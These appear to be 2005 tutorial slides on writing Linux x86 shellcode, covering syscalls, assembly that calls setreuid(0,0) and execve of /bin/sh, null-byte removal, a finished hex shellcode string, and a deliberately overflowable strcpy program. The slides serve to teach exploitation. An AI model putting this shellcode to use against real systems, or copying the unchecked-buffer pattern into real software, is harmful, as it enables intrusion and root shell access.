Baisc Shell Code

dany@chroot.org

2005/02/19

Common Assembly Instructions

- mov <dest>, <src>
- add <dest>, <src> ; sub <dest>, <src>
- push <target> ; pop <target>
- jmp <address>
- call <address>
- lea <dest>, <src>
- int <value>

Linux System Calls

- /usr/include/asm/unistd.h
  - #ifndef _ASM_I386_UNISTD_H_
  - #define _ASM_I386_UNISTD_H_
  - /*
  - * This file contains the system call numbers.
  - */
  - #define __NR_restart_syscall 0
  - #define __NR_exit 1
  - #define __NR_write 4
  - #define __NR_execve 11

Hello world

- write & exit function
- EAX, EBX, ECX, EDX are used to determine which function to call
- Then a int 0x80 to tell kernel

hello.asm#1

- ; section declaration
  - section .data
  - msg db "hello, world!"

hello.asm#2

- ; write call
  - mov eax, 4 ;put 4 into eax
  - mov ebx, 1 ;put stdout to ebx
  - mov ecx, msg ;put the address of the msg
  - mov edx, 13 ;string length
  - int 0x80 ;call the kernel

Hello world#3

- ; exit() call
  - mov eax, 1 ;put 1 into eax
  - mov ebx, 0 ;put 0 into ebx
  - int 0x80 ;call the kernel

Shell-Spawning Code#1

- ; setreuid(uid_t ruid, uid_t euid)
  - mov eax, 70
  - mov ebx, 0
  - mov ecx, 0
  - int 0x80
- ; setreuid(0, 0);

Shell-Spawning Code#2

- section .data
- filepath db "/bin/shXAAAABBBB"
- ; execve(const char *path, char *const argv[], char *const envp[]);
  - mov eax, 0 ;put 0 into eax
  - mov ebx, filepath ;put the address of the string
  - mov [ebx+7], al ;put 0 to where is X
  - mov [ebx+8], ebx ;put address of the string to AAAA
  - mov [ebx+12], eax ;put NULL to BBBB

Shell-Spawning Code#3

- mov eax, 11 ;execve is syscall #11
- ;load the address of where the AAAA was into ecx
- lea ecx, [ebx+8]
- ; load the address of where the AAAA was into edx
- lea edx, [ebx+12]
- int 0x80

- The last arguments for execve() function need to be pointers of pointers.

Avoiding Using Other Segments

```
jmp two
one:
pop ebx
<program code here>
two:
call one
db ‘this a string’
```

Removing Null Bytes

```
mov ebx, 0
xor ebx, ebx

mov eax, 70
B8 46 00 00 00
xor eax, eax
mov al, 70
```

Result shell code

- nasm shellcode.asm
- Hexedit shellcode

```
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
```

vuln.c & exploit.c

```c
#include <stdlib.h>

int main(int argc, char* argv[])
{
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0;
}
```

etc…

- Smaller shellcode using the stack
- Printable ASCII Instructions
- ASCII Printable Polymorphic Shellcode
- Other system shellcode

Thanks

Question?